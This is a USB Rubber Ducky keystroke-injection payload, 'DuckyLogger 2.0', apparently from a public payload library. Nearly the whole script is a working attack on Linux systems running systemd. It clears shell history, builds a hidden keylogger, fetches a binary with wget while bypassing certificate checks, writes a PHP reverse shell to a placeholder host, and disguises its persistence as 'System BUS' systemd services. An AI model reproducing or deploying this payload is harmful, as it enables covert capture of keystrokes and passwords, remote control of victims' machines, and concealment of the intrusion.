Path: blob/master/payloads/library/credentials/DuckyLogger2/payload.txt
2968 views
REM Title: DuckyLogger 2.01REM Description: Keylogger which sends each and every keystroke of the target remotely/locally.2REM AUTHOR: drapl0n3REM Version: 2.04REM Category: Credentials5REM Target: Unix-like operating systems with systemd.6REM Attackmodes: HID78REM [Note]9REM Visit https://github.com/drapl0n/DuckyLogger2/README.md for usage and other important instructions.1011REM [keeping tracks clear]12DELAY 50013CTRL-ALT t14DELAY 40015STRING export HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE16ENTER17DELAY 1001819REM [creating key logging mechanism]20STRING mkdir /var/tmp/.system21ENTER22DELAY 10023STRING echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys24ENTER25DELAY 10026STRING chmod +x /var/tmp/.system/sys27ENTER28DELAY 1002930REM [importing xinput]31STRING cd /var/tmp/.system/32ENTER33DELAY 10034STRING wget --no-check-certificate --content-disposition https://github.com/drapl0n/DuckyLogger/blob/main/xinput\?raw=true35ENTER36DELAY 250037STRING chmod +x xinput38ENTER39DELAY 1004041REM [creating reverse shell]42STRING echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus43ENTER44DELAY 10045STRING chmod +x /var/tmp/.system/systemBus46ENTER47DELAY 1004849REM [creating systemd service to execute payload on boot]50STRING mkdir -p ~/.config/systemd/user51ENTER52DELAY 20053STRING echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=always\nType=forking\n\n[Install]\nWantedBy=default.target" > ~/.config/systemd/user/systemBUS.service54ENTER55DELAY 1005657REM [creating systemd timer unit]58STRING echo -e "[Unit]\nDescription= SystemBUS Timer\n\n[Timer]\nOnBootSec=60seconds\nOnUnitActiveSec=300seconds\n\n[Install]\nWantedBy=timers.target" > ~/.config/systemd/user/systemBUS.timer59ENTER60DELAY 1006162REM [enabling service]63STRING systemctl --user daemon-reload64ENTER65DELAY 30066STRING systemctl --user enable --now systemBUS.service && systemctl --user enable --now systemBUS.timer67ENTER68DELAY 15069STRING exit70ENTER717273